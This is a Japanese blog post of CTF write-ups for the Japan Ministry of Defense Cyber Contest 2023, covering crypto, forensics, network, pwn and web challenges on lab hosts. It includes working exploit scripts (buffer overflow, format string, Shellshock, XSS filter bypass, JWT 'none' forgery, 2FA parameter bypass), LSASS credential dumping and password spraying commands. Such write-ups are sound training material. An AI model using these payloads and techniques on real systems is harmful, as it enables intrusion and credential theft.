はまやんはまやんはまやん

hamayanhamayan's blog

防衛省サイバーコンテスト2023 Writeups

[crypto] Simple Substitution Cipher

synt{tA0iEFckNRiG}

これを復号問題。
ROT13で変換する。
https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)&input=c3ludHt0QTBpRUZja05SaUd9

[crypto] Substitution Cipher

暗号文: Uckb uzzc jn gwdmayuzf fjoj ciz Xrhzpèaf xkyizt.ciz hubb kb ggcp{wIR2AuVebMyR}. 鍵: ?VC?

これを復号化する。
https://cryptii.com/pipes/vigenere-cipher で解析することにした。
?VC?が復号化のカギになるが、各文字を変えると対応する文字が変わるので読めるようになるまでポチポチ頑張る。
適当にここに入れて、?をaから順番に試して読めるようになるかポチポチやってるとBVCJで

This text is encrypted with the Vigenv̀zk vbxnxk.bnx ytgz ba leto{bGI2ZzTvaRwI}.

となった。更に後半部分を同じ4文字だろうと仮説を立ててポチポチやるとTTIGでcipher.the flag is flag{vNP2RtAcsLdP}となり、フラグ獲得。

[crypto] Administrator Hash(NTLM hash)

Administrator ユーザーの NTLM ハッシュ値を抽出する問題。
lsassのプロセスダンプがあるので、mimikatzで抽出してやる。
pypykatz使うのがおすすめ。

  1. dockerで環境準備 docker run -v ${PWD}:/mnt --rm -it python:latest /bin/bash
  2. pip3 install pypykatz
  3. pypykatz lsa minidump lsass.dmpで抜く

これでNTと書かれている所に答えが書いてある。

[crypto] Administrator Password

↑の問題の続きで、ハッシュ値から、Administrator ユーザーのパスワードを出す問題。
ほぼボーナス問題でCrackStationに投げれば平文が手に入るのでそれが答え。

[crypto] Hash Extension Attack

以下のようなphpコードが与えられる。(オリジナル残ってなくて微妙に違うかもしれない)

<?php
$payload = urldecode($_GET['payload']);
$hash = urldecode($_GET['hash']);
$secret = 'secret';

hash('md5',$secret); #5ebe2294ecd0e0f08eab7690d2a6ee69, secret length 6.

if (false !== strpos($payload,"admin") && hash('md5',$secret.$payload) == $hash){
    echo "same hash!!\n";
    # flag is $hash:$payload.
}else{
    echo "wrong hash!!\n";
}
?>

secretとして謎の6文字のmd5ハッシュの5ebe2294ecd0e0f08eab7690d2a6ee69に対して、adminを含む文字列を追加してハッシュを作れるかという問題。
どう見てもLength Extension Attackを狙った問題。

だが、5ebe2294ecd0e0f08eab7690d2a6ee69は6文字から作られているので最悪平文がブルートフォースで得られそうではある。
Crackstationに投げるとあっさり「secret」が平文であると分かってしまった。
「secretadmin」でハッシュ作ればいいのでは…?と思ったが弾かれる。
CTFdで動的検証してるのは個人的に見たことがないので、想定解があるんだろうなぁと思いちゃんと作ることに…
ここからが地獄の始まりで、何も刺さらない。
ヒントを開く。

hash_extension.php はハッシュ伸長攻撃に対して脆弱です。

これはまあ。

変数 palyload はパーセントエンコーディングが必要です。

うーん。ちょっと待って、3つ目まで開けても無駄なのでは…?

根性で色々やるとiagox86/hash_extenderで正答のものが作れた。

$ ./hash_extender --data "" --secret 6 --append 'admin' --signature 5ebe2294ecd0e0f08eab7690d2a6ee69 --format md5
Type: md5
Secret length: 6
New signature: abca9f7719017e88dd4aba0aebb17f38
New string: 8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000300000000000000061646d696e

みたいに作れて、New stringをパーセントエンコーディングに直し、かつ、ちゃんと印字可能な文字はasciiにしてやるとフラグになる。

flag{abca9f7719017e88dd4aba0aebb17f38:%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%000%00%00%00%00%00%00%00admin}

[forensics] The Place of The First Secret Meeting

USBのイメージファイルが与えられる。
画像ファイルを探して、どこの場所かを当てる問題。

FTK Imagerで開くと画像ファイルが置いてある。
お城の画像。
Google画像検索すると「艮櫓(うしとらやぐら)」という名前らしい。
https://nishimagome.link/2020/03/01/takamatsujyo/
ushitorayaguraが正答

[forensics] The Deleted Confidential File

↑の続きの問題。
消されたファイルがあるので復元する問題。

Autopsyに切り替えてみてみると、「重要.zip」というファイルが消されていた。
持ってきて中を見てみるとパスワードがかかっていたが、フラグがファイル名になったtxtファイルが置いてあった。
ファイル名は暗号化されてても読めるのでフラグ獲得。

[forensics] They Cannot Be Too Careful.

↑の続きの問題。
暗号化zipを解凍するためのパスワードを探す問題。

先ほど抽出したzipファイルのパスワードをクラックしようとしたが、うまくいかない。正しく抽出できていないのだろう。
ちゃんとやってもいいのだが、他のツールでちゃんと取れないか試すと、foremostでちゃんと取り出すことができた。
後は、zip2johnとjohn the ripperとrockyou.txtを使ってパスワードクラックする。

$ zip2john 00001992.zip > h

$ john --wordlist=/usr/share/wordlists/rockyou.txt h
Warning: invalid UTF-8 seen reading h
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (ZIP, WinZip [PBKDF2-SHA1 128/128 SSE2 4x])
Loaded hashes with cost 1 (HMAC size) varying from 0 to 678498
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
oshiro           (00001992.zip/重要/要求提供的文件清单.pdf)     
oshiro           (00001992.zip/�d�v/flag{Archive_file_was_deleted}.txt)     
2g 0:00:01:09 DONE (2023-08-06 04:27) 0.02876g/s 8705p/s 17410c/s 17410C/s pepito25..oohwee1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

パスワードoshiroが答え。

[forensics] The Taken Out Secrets

暗号化zipの中にあるpdfファイルから情報を集めてフラグを手に入れる問題。

解凍してpdfファイルを見ると、半分しかフラグが置いてなかった。

flag{pdf__is_

埋め込まれている画像を持ってきて、「青い空を見上げればいつもそこに白い猫」のステガノグラフィー解析にかけると以下の文字列が得られる。

_format!!?}

あともう一つ必要そう。
peepdfでも使ってみるかと思って使うと、URIに面白そうなものがのっかっている。

PPDF> object 13

<< /H /I
/Border â 2 2 2 ê
/A << /URI X3BheWxvYWRfX2RlbGl2ZXJ5Xw==
/S /URI >>
/Rect â 280 670 285 675 ê
/Type /Annots
/Subtype /Link
/P 4 0 R >>

展開すると _payload__delivery_ となる。後はくっつけるとフラグになる。

[forensics] Their Perpetration

USBメモリのシリアルナンバーを特定する問題。
イベントログが与えられるので探索していく。
色々見漁ったけれど、結局以下から抜いてきた。
Microsoft-Windows-Kernel-PnP%4Configuration.evtxのeventId:400が使えた。

デバイス USBSTOR\Disk&Ven__USB&Prod__SanDisk_3.2Gen1&Rev_1.00\0401396c0881735a013c2ebddb72f6dd948bcdd22763fdca255eb87ffa1db86 が構成されました。

ドライバー名: disk.inf
クラス GUID: {4d36e967-e325-11ce-bfc1-08002be10318}
ドライバーの日付: 06/21/2006
ドライバーのバージョン: 10.0.19041.1865
ドライバーのプロバイダー: Microsoft
ドライバー セクション: disk_install.NT
ドライバー ランク: 0xFF0006
一致するデバイス ID: GenDisk
上位のドライバー: disk.inf:GenDisk:00FF2002
デバイスの更新日: false
親デバイス: USB\VID_0781&PID_5597\0401396c0881735a013c2ebddb72f6dd948bcdd22763fdca255eb87ffa1db86fbe750000000000000000000098f9511800037a18975581076b2aa021

PIDのスラッシュ以降がそれっぽかったのと、どこかで埋め込んであるみたいなことを読んだ記憶あったので、
スラッシュ移行から適当にサンプルと同じ文字数引っ張ってきたら正答だった。
0401396c0881735a013c

[NW] Transfer

example.com」ドメインの権威 DNS サーバーが与えられて、ざっくりフラグを探してくださいという問題。

ゾーン転送とか試すがダミーデータっぽいものしかない。
目を皿にしてインターネットを探すと、
https://qiita.com/hypermkt/items/610b5042d290348a9dfa#bind%E3%81%AE%E3%83%90%E3%83%BC%E3%82%B8%E3%83%A7%E3%83%B3%E3%82%92%E8%AA%BF%E3%81%B9%E3%82%8B
が見つかり、dig @10.10.10.21 chaos txt version.bindでフラグ。

[NW] Analysis

プロキシログから怪しい通信をしているIPアドレスを答える問題。

普通の企業のたくさんあるログを消していったら、1つよく分からないのが残って、それを提出すると答えだった。

$ cat proxylog.txt | grep -v "twitter" | grep -v "google" | grep -v "ocsp" | grep -v "windowsupdate" | grep -v "gstatic" | grep -v "yahoo"
Time,elapsed,Source Address,code/status,bytes,Method,URL,Destnation Address,Content Type
2023/4/7 12:26:25,119970,10.200.200.15,TCP_TUNNEL/200,8099213,CONNECT,amazon_co_jp.ipa-info.net:22,HIER_DIRECT/2.57.80.99,-

[NW] Enumeration

サーバにPostfixがインストールされているので、そのバージョンを特定せよという問題。
ポートスキャンをすると確かに 25/tcp が開いている。
ここから長い時間をかけて調査を実験を繰り返したが、何も成果が得られませんでした…

分からんので、ヒント!
防衛省CTFにはポイントが減らされるがヒントが得られるシステムがある。snykのCTFみたいですね)

対象のサーバ上にはどのようなサービスが稼働しているか確認してください。

まあ、これは見た。

SMTP サービス(25/tcp)を調査してもバージョン情報は確認できません。

あーーー!UDPか!

$ sudo nmap -v -T4 -sU -oN udp_nmap 10.10.10.22
...
PORT    STATE         SERVICE
68/udp  open|filtered dhcpc
161/udp open          snmp

はいーーーー
snmpですね。

$ snmpwalk -c public -v1 -t 10 10.10.10.22 | grep ost 
iso.3.6.1.2.1.1.4.0 = STRING: "Root <root@localhost> (configure /etc/snmp/snmp.local.conf)"
iso.3.6.1.2.1.25.4.2.1.4.880 = STRING: "/usr/lib/postfix/sbin/master"
iso.3.6.1.2.1.25.6.3.1.2.12 = STRING: "bind9-host_1:9.18.12-1_amd64"
iso.3.6.1.2.1.25.6.3.1.2.69 = STRING: "hostname_3.23+nmu1_amd64"
iso.3.6.1.2.1.25.6.3.1.2.295 = STRING: "postfix_3.7.5-2_amd64"

バージョン情報が見える。

[NW] Ladder

Boot2Rootみたいな問題。
IPアドレスだけ与えられて、特にノーヒント。

いつものポートスキャンを実施して、ひたすら探していくが…探していくが…
ヒント見ました。

SNMP のコミュニティ名を突破してシステム情報を列挙し稼働プロセス情報に着目してください。

HTBで何を学んできたのか…
UDPでスキャンすると確かにsnmpが空いている。
ヒントにはコミュニティ名が必要とあるので、まずはそれを探そう。

$ onesixtyone 10.10.10.23 -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt
Scanning 1 hosts, 3218 communities
10.10.10.23 [secret] Linux Server-NW4 6.1.0-9-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1 (2023-05-08) x86_64

secretだったので、これを使ってsnmp列挙。

$ snmpwalk -v2c -c secret 10.10.10.23
...
iso.3.6.1.2.1.25.4.2.1.5.625 = STRING: "-c while 1 { spawn /usr/bin/telnet 127.0.0.1 143; expect \"OK\"; send \"a001 LOGIN plane BeefOrChicken\\r\"; expect \"a001 OK\"; sleep "

IMAPのアカウント情報が得られる。
evolutionを使ってログインすると以下のようなメールが置いてある。

Hello Plane!
Share Database Account!
ID : aesop, PW : GoldenOrSilver

mysqlにログインして巡回すると中にフラグが置いてある。

$ mysql -h 10.10.10.23 -u aesop -P 3128 -pGoldenOrSilver
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 731261
Server version: 10.11.3-MariaDB-1 Debian 12

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| goal               |
| information_schema |
+--------------------+
2 rows in set (0.009 sec)

MariaDB [(none)]> use goal;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [goal]> show tables;
+----------------+
| Tables_in_goal |
+----------------+
| flag           |
+----------------+
1 row in set (0.009 sec)

MariaDB [goal]> select * from flag;
+----+--------------------+
| id | flag               |
+----+--------------------+
|  1 | flag{iJhyYG8#w&yy} |
+----+--------------------+
1 row in set (0.010 sec)

[programming] Regex Exercise

ゴミデータがたくさんあって、以下条件を満たす文字列を探すとそれがフラグになっている。

Regexp
"!!" を含む3文字
数字2けた
"S" で始まる5文字以上の英単語
一の位が "8" の数値
がこの順番で並んだものです。

/(regexp.*\!\!\d{2}S[a-zA-Z]{4}[a-zA-Z]+\d+8)/gmiで見つかる。

[programming] Mimic Unicode

全部「ゴ」のように見えるファイルが与えられてフラグを探す問題。

バイナリエディタで見ると微妙に違う。
e3 82 b4 e3 82 b3 e3 82 99の3種類によって「ゴ」が表現されていた。
以下のようにe3 82を消して色々実験する。

b4 b3 99 b3 99 b4 b4 b3 99 b3 99 b4 b4 b3 99 b3 99 b4 b3 99 b3 99 b4 b4 b4 b3 99 b3 99 b4 b4 b4 b4 b3 99 b4 b3 99 b3 99 b4 b4 b3 99 b3 99 b3 99 b4 b3 99 b3 99 b3 99 b3 99 b4 b3 99 b3 99 b4 b3 99 b4 b3 99 b4 b3 99 b4 b3 99 b4 b3 99 b3 99 b4 b3 99 b3 99 b3 99 b4 b4 b4 b3 99 b3 99 b4 b4 b4 b3 99 b4 b3 99 b3 99 b4 b4 b4 b3 99 b3 99 b4 b4 b3 99 b3 99 b4 b4 b4 b4 b4 b3 99 b3 99 b4 b4 b3 99 b4 b4 b4 b3 99 b3 99 b4 b4 b3 99 b4 b3 99 b4 b3 99 b4 b3 99 b3 99 b3 99 b3 99 b3 99 b4 b3 99 b4 b4 b3 99 b3 99 b3 99 b4 b4 b4 b3 99 b3 99 b4 b4 b4 b4 b4 b3 99 b3 99 b3 99 b4 b4 b3 99 b4 b4 b3 99 b3 99 b4 b3 99 b3 99 b4 b3 99 b4 b3 99 b3 99 b4 b4 b4 b4 b3 99 b4 b3 99 b3 99 b3 99 b3 99 b3 99 b4 b4 b4 b4 b3 99 b3 99 b4 b4 b4 b3 99 b4 b3 99 b3 99 b3 99 b3 99 b4 b3 99 b4 b4 b3 99 b4 b4 b4 b4 b4 b4 b4 b3 99 b3 99 b3 99 b4 b3 99 b4 b4 b4 b4 b3 99 b3 99 b4 b4 b4 b3 99 b4 b4 b3 99 b3 99 b4 b4 b4 b4 b4 b3 99 b3 99 b4 b3 99 b3 99 b3 99 b4 b4 b3 99 b3 99 b3 99 b3 99 b3 99 b4 b3 99

モールス信号かとも思ったが、ごちゃごちゃやってたら以下でフラグが得られた。

https://gchq.github.io/CyberChef/#recipe=Find/Replace(%7B'option':'Simple%20string','string':'%20'%7D,'',true,false,true,false)Find/Replace(%7B'option':'Simple%20string','string':'99'%7D,'%20',true,false,true,false)Find/Replace(%7B'option':'Regex','string':'b3'%7D,'1',true,false,true,false)Find/Replace(%7B'option':'Regex','string':'b4'%7D,'0',true,false,true,false)From_Binary('Space',8)

[programming] LFSR Period

次の多項式で表される長さ20ビットの線形帰還シフトレジスタ(LFSR)に、初期値 0x70109 を与えた場合の周期(もう一度 0x70109 が現れるまでのシフト回数)を10進整数で答えてください。
x20 + x15 + x11 + 1

という問題。

このあたりを見ながらLFSRを思い出して検証コードを実装した。

#include<bits/stdc++.h>
#define rep(i,a,b) for(int i=a;i<b;i++)
#define rrep(i,a,b) for(int i=a;i>=b;i--)
#define fore(i,a) for(auto &i:a)
#define all(x) (x).begin(),(x).end()
//#pragma GCC optimize ("-O3")
using namespace std; void _main(); int main() { cin.tie(0); ios::sync_with_stdio(false); _main(); }
typedef long long ll; const int inf = INT_MAX / 2; const ll infl = 1LL << 60;
template<class T>bool chmax(T& a, const T& b) { if (a < b) { a = b; return 1; } return 0; }
template<class T>bool chmin(T& a, const T& b) { if (b < a) { a = b; return 1; } return 0; }
//---------------------------------------------------------------------------------------------------
/*---------------------------------------------------------------------------------------------------
            ∧_∧
      ∧_∧  (´<_` )  Welcome to My Coding Space!
     ( ´_ゝ`) /  ⌒i     @hamayanhamayan
    /   \     | |
    /   / ̄ ̄ ̄ ̄/  |
  __(__ニつ/     _/ .| .|____
     \/____/ (u ⊃
---------------------------------------------------------------------------------------------------*/
 
 
 
// https://ja.wikipedia.org/wiki/%E7%B7%9A%E5%BD%A2%E5%B8%B0%E9%82%84%E3%82%B7%E3%83%95%E3%83%88%E3%83%AC%E3%82%B8%E3%82%B9%E3%82%BF
void _main() {
    unsigned long reg = 0x70109;
    unsigned long bit;
    unsigned long x11 = 0x1 << 9;
    unsigned long x15 = 0x1 << 5;
    unsigned long x20 = 0x1 << 0;
    unsigned int period = 0;
    do {
            bit = ((reg & x11) >> 9) ^ ((reg & x15) >> 5) ^ ((reg & x20) >> 0);
            reg = (reg >> 1) | (bit << 19);
            ++period;
    } while((reg != 0x70109) && (period <= (1<<19)));
    printf("%d\n", period);
}

[programming] Grayscale Matrix

3個のファイルに記された数値からなる行列からフラグを復元してください。

という問題で、L.txt, P.txt, U.txtというファイル名になっている。
かなりLU分解っぽいので、その辺りで探すと、
https://www.cfm.brown.edu/people/dobrush/cs52/Mathematica/Part2/PLU.html
のようにPLU decompositionというのがあり、A=PLUらしい。
実際にPLUを計算して行列Aを作ってみると、整数で[0,255]っぽい行列が得られたので、問題文に従いグレースケール画像に変換するとフラグになった。
以下sageコード。

from sage.all import *

lmat = []
with open("L.txt") as fp:
    for line in fp.readlines():
        row = []
        vals = line.split(' ')
        for val in vals:
            row.append(float(val))
        lmat.append(row)

umat = []
with open("U.txt") as fp:
    for line in fp.readlines():
        row = []
        vals = line.split(' ')
        for val in vals:
            row.append(float(val))
        umat.append(row)

pmat = []
with open("P.txt") as fp:
    for line in fp.readlines():
        row = []
        vals = line.split(' ')
        for val in vals:
            row.append(float(val))
        pmat.append(row)

ans = Matrix(pmat) * Matrix(lmat) * Matrix(umat)
print(ans.dimensions())

from PIL import Image

im = Image.new("RGB", (256, 256), (0, 0, 0))

for x in range(256):
    for y in range(256):
        col = int(ans[y][x])
        im.putpixel((x,y),(col,col,col,0))

im.save('ans.png', quality=95)

[pwn] Auth

ghidraに食わせるとこういう感じ。(見やすいように変名済み)

passResult = 0x736c6166; // "fals"
passResult2 = 0x65; // "e"
...
printf("User: ");
gets((char *)&username);
printf("Password: ");
gets((char *)&password);
res = strcmp((char *)&password,flag);
if (res == 0) {
    passResult = 0x65757274; // "true"
    passResult2 = passResult2 & 0xff00; // trueにするためにキレイにしてる
}
res = strcmp((char *)&username,"admin");
if ((res == 0) && (res = strcmp((char *)&passResult,"true"), res == 0)) {
    puts("Login succeeded!!");
    printf("flag: %s\n",flag);
    return 0;
}
puts("Invalid password...");

ユーザー名はadminでパスワードはフラグなのだが、あとの判定でpassResultに"true"が代入されて判定が続行されている。
getsはバッファオーバーフローするので、うまく使ってpassResultを"true"にする。
gdbで動かしながらスタックを見るとこんな感じ。

0000| 0x7fffffffdea0 --> 0x41414141 ('AAAA')     ← username
0008| 0x7fffffffdea8 --> 0x0 
0016| 0x7fffffffdeb0 --> 0x42424242 ('BBBB')     ← password
0024| 0x7fffffffdeb8 --> 0x0 
0032| 0x7fffffffdec0 --> 0x0 
0040| 0x7fffffffdec8 --> 0x65736c61660000 ('')

passwordを伸ばして、0x7fffffffdec8らへんを侵害する。

from pwn import *

binary_name = './auth'
context.binary = binary_name
context.log_level = "debug"
p = remote("10.10.10.15", 1001)

p.sendlineafter(b'User: ', b'admin')
p.sendlineafter(b'Password: ', b'\x00'*(8 * 3) + b'\x00\x00\x74\x72\x75\x65\x00\x00')
p.interactive()

[pwn] Festival

  budget = 1000;
  prices[0] = 100;
  prices[1] = 200;
  prices[2] = 300;
  prices[3] = 500;
  local_28 = 1000000000;

    printf("Balance : %d\n",(ulong)budget);
    puts("==Menu==");
    for (i = 0; i < 5; i = i + 1) {
      printf("%d. %s : %d\n",(ulong)(i + 1),(long)&local_68 + (long)i * 9,(ulong)prices[i]);
    }
    putchar(10);
    puts("Staff > What do you want to buy?");
    puts("Staff > Input menu number.");
    printf(" You  > ");
    __isoc99_scanf(&%d,&kind);
    puts("Staff > How many?");
    printf(" You  > ");
    __isoc99_scanf(&%d,&count);
    if ((5 < kind) || (kind < 1)) {
      printf("Staff > Invalid number!");
      return 0;
    }
    if (count < 1) {
      puts("Staff > Huh?");
      return 0;
    }
    budget = budget - count * prices[kind + -1];
    if ((int)budget < 0) break;
    if (kind == 5) {
      printf("Staff > %s\n",flag);
      return 0;
    }

種類5の品物が買えればフラグが得られるが、値段が1000000000円で、予算が1000円なので買えないという問題。
整数オーバーフローが使えそう。
細かい計算はしていないが、種類5をINT_MAXの2147483647個買ったらフラグがもらえた。

[pwn] Parrot

  __stream = fopen("flag.txt","rt");
  buf = (char *)malloc(0x30);
  fgets(buf,0x30,__stream);

  ...

  printf(" You > ");
  __isoc99_scanf("%255s",&userInput);
  printf("Parrot > ");
  printf((char *)&userInput);

Format String Attackができる問題。
最も入門的な形はprintfに入れる文字列が入った配列を参照させる形であるが、スタック的には隣にbufもあるので
そちらを参照させるようにすればフラグが手に入る。

from pwn import *

binary_name = './parrot'
context.binary = binary_name
context.log_level = "debug"
p = remote("10.10.10.15", 1003)

p.sendlineafter(b' You > ', b'%7$s')
p.recvuntil(b'Parrot > ')
print(p.recvall())

[pwn] Shock

  printf("You > ");
  fgets(userInput,0x20,stdin);
  snprintf(envExp,0x30,"s=%s",userInput);
  putenv(envExp);
  system("./bash_4.3.0 -c \'echo Shocker \\> $SHOCK level will not bring you down.\'");
  return 0;

環境変数に入力を入れて、bash 4.3.0を呼ぶ問題。
bashを見ると結構古く、その辺りを色々調べてみた感じと、問題名にあるshockを考慮すると、shellshockが使えそう。

jeholliday/shellshock: An analysis of Shellshock
にあった() { :; }; echo "pwned"が刺さる。
() { :; }; /bin/bashでシェル起動できるので、後は色々やってcat flag.txtでフラグ獲得。

[pwn] Noprotect

undefined8 main(void)

{
  char userInput [256];
  
  puts("                             _            _   ");
  puts(" _ __   ___  _ __  _ __ ___ | |_ ___  ___| |_ ");
  puts("| \'_ \\ / _ \\| \'_ \\| \'__/ _ \\| __/ _ \\/ __| __|");
  puts("| | | | (_) | |_) | | | (_) | ||  __/ (__| |_ ");
  puts("|_| |_|\\___/| .__/|_|  \\___/ \\__\\___|\\___|\\__|");
  puts("            |_|                               \n");
  putchar(10);
  printf("n0protec > ");
  gets(userInput);
  return 0;
}

とても単純なmain関数。
別途flags関数があり、そちらに制御を移すことができればフラグが手に入る。

$ pwn checksec noprotect 
[*] '/mnt/nodefender/ctf-20230805/boeisho-cyber-contest-2023/pwn-noprotect/noprotect'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

checksecを見てもスタック保護は全くない。
リターンアドレスをflags関数のものに書き換えるだけ。
(だけのはずが、久しぶりすぎて1時間刺さるのにかかった)

from pwn import *

binary_name = './noprotect'
context.binary = binary_name
context.log_level = "debug"
p = remote("10.10.10.15", 1005)

p.sendlineafter(b'n0protec > ', b'A' * (0x100 + 8) + p64(0x0000004011a6))
p.interactive()

[trivia]

知識問題。

コンピューターシステムを侵害し、身代金を目的としてデータを暗号化したり、アクセスをブロックしたりするマルウェアは何ですか。

ランサムウェア

[trivia] Behavior

知識問題。

エージェントを使用してエンドポイント上のふるまいを検知し、異常な活動を検出し、攻撃に対する即座な応答を可能にするエンドポイントセキュリティ技術は何ですか。

EDR

[trivial] Inventor

知識問題。

RSA 暗号の R の由来になった人物は誰でしょうか?ラストネームをお答えください。

https://ja.wikipedia.org/wiki/%E3%83%AD%E3%83%8A%E3%83%AB%E3%83%89%E3%83%BB%E3%83%AA%E3%83%99%E3%82%B9%E3%83%88
リベスト

[web] Basic

pcapファイルとウェブサイトが与えられるのでbasic認証を突破せよという問題。
pcapファイルを見るとBasic認証へのアクセス試行がいくつか記録されているので、そこから認証情報を抜き取ってきてウェブサイトで試すと刺さるものがある。
まじめに探すと大変なので、WireSharkの検索機能でAuthorization:あたりで検索するといい感じに見れる。

[web] Discovery

謎のURLが与えられるので、ざっくりフラグを見つけてという問題。
ディレクトリスキャニングで目的のパスを見つける。

gobuster dir -u "http://10.10.10.6/Wg6LQhmX/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x .php,.html
/games                (Status: 301) [Size: 241] [--> http://10.10.10.6/Wg6LQhmX/games/]
gobuster dir -u "http://10.10.10.6/Wg6LQhmX/games/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x .php,.html
/admin.html           (Status: 200) [Size: 19]

http://10.10.10.6/Wg6LQhmX/games/admin.html
にフラグが置いてあった。

[web] Bypass

XSS<script>alert(1)</script>を引き起こす問題。
普通に入力を入れると<>alert(1)</>のようにscriptが消されてしまう。
あと、出力時は基本エスケープされて出力される。

年齢を入力する所があるが、UI上は数値のみに限定されている。 だが、Burp Suiteなどで送るデータを改ざんすることで文字列を送ることもでき、実際出力されるときはそれに甘えて

<input type="text" class="form-control" id="age" value="<>alert(1)</>" disabled>

のようにエスケープされずに出力される。
よって">[任意のhtmlタグ]<div x="のようにすれば任意のhtmlタグを差し込むことができ、XSSに一歩近づく。
残った問題はscriptが消される問題だが、1つの文字列に対して1度しか消されないようで、scrscriptiptのようにすれば真ん中のscriptが消えてscriptを残せる。
よって、"><scrscriptipt>alert(1)</scrscriptipt><div x="でフラグ獲得。

[web] Spray

社員情報が見られるウェブサイトとその認証情報が与えられる。
社員数は100人らしいが、そのうち1人が脆弱なパスワード「password」もしくは「123456789」を利用している。
この脆弱なパスワードを使用しているユーザーの認証情報を特定せよという問題。

ユーザー名の候補を探してくる必要がある。
与えられる認証情報がuser1なので、user1~user100がユーザー名だろうと決めてかかると自分のように6時間ほどハマる。
社員情報を以下のように全部持ってきて、そこからユーザー名っぽいものを抽出してくる。

import requests

BASE_URL = 'http://10.10.10.7'

for id in range(101):
    userid = f'user{id}'
    r = requests.get(BASE_URL + f'/mpk5tdbu/prof.php?id={id}', cookies={'PHPSESSID': '6th4dh40p4drpkfctueo3m65pv'}).text
    print(r)

どれを使うかであるが、メールアドレスのユーザー名部分をユーザー名の候補として使用するのが正解パスだった。
それを辞書としてusers.txtとして保存して、hydraでログイン総当たりする。

$ hydra -L users.txt -p 123456789 10.10.10.7 http-post-form "/mpk5tdbu/login.php:userID=^USER^&password=^PASS^:正しくありません"   
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-06 07:59:17
[DATA] max 16 tasks per 1 server, overall 16 tasks, 100 login tries (l:100/p:1), ~7 tries per task
[DATA] attacking http-post-form://10.10.10.7:80/mpk5tdbu/login.php:userID=^USER^&password=^PASS^:正しくありません
[80][http-post-form] host: 10.10.10.7   login: kimi_ihara   password: 123456789
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-06 07:59:26

認証情報を得ることができ、これを使ってログインすればフラグ獲得。

[web] Location

ログインに使える認証情報が1組与えられ、ウェブサイトのどこかにあるflag.txtというファイルの中身を見るのがゴールの問題。
以下のセキュリティ対策が実施されているとのこと。

ID とパスワードでの認証
多要素認証
一般ユーザーと管理者で表示できるページを分けている
機密情報(flag.txt)にはアクセス制限をかけている

認証情報を使ってログインしてみると、二要素認証が要求される。
二要素認証のバグで突破できないか色々試すが何も刺さらない。
かなり実験したがあきらめてヒントを見る。

認証タイプを選ばない、という選択肢もあります

んー、その辺は死ぬほど試したけど…と思ったが消して試したことがないことに気づく。
認証情報を打ち込むとPOST /multi.phpへリクエストが飛ぶが、そこにあるmultiというパラメタを消せば二要素認証をスキップできる。

POST /multi.php HTTP/1.1
Host: 10.10.10.8
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=vruch6j793gk6g7jm84sr8p0ma
Connection: close

username=test&password=password

これでログイン可能。
ログイン後はtokenにJWTが追加される。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoidXNlciIsImlwIjoiMTAuMTAuMTAuMTAifQ.YWY4MWJhYTVlY2YzNDc5OGJiN2ZmZTNjMzMyYmZlYWJjOWI1MTVkOTgwMzlmM2VjNjZiNWIyMjE3ZWM0YTM0Zg

header: { "alg": "HS256", "typ": "JWT" }
payload: { "account": "user", "ip": "10.10.10.10" }

accountにuserとあり、ここをadminにできれば管理者権限で色々できそうである。
色々実験すると、JWTのnoneを使った攻撃が刺さった。

import jwt
payload = {
  "account": "admin",
  "ip": "10.10.10.10"
}
res = jwt.encode(payload, '', algorithm='none')
print(res)

これで新しくファイルが参照できるPOST /file.phpにアクセス可能になる。
id=flagで参照してみるが、alert("このファイルは外部からアクセス可能ではありません。");と言われる。
内部外部を見ていそう?
JWTにipという情報が含まれていたことを思い出し、ip部分を127.0.0.1に変更してJWTトークンを作り直して再度id=flagを見るとフラグが得られた。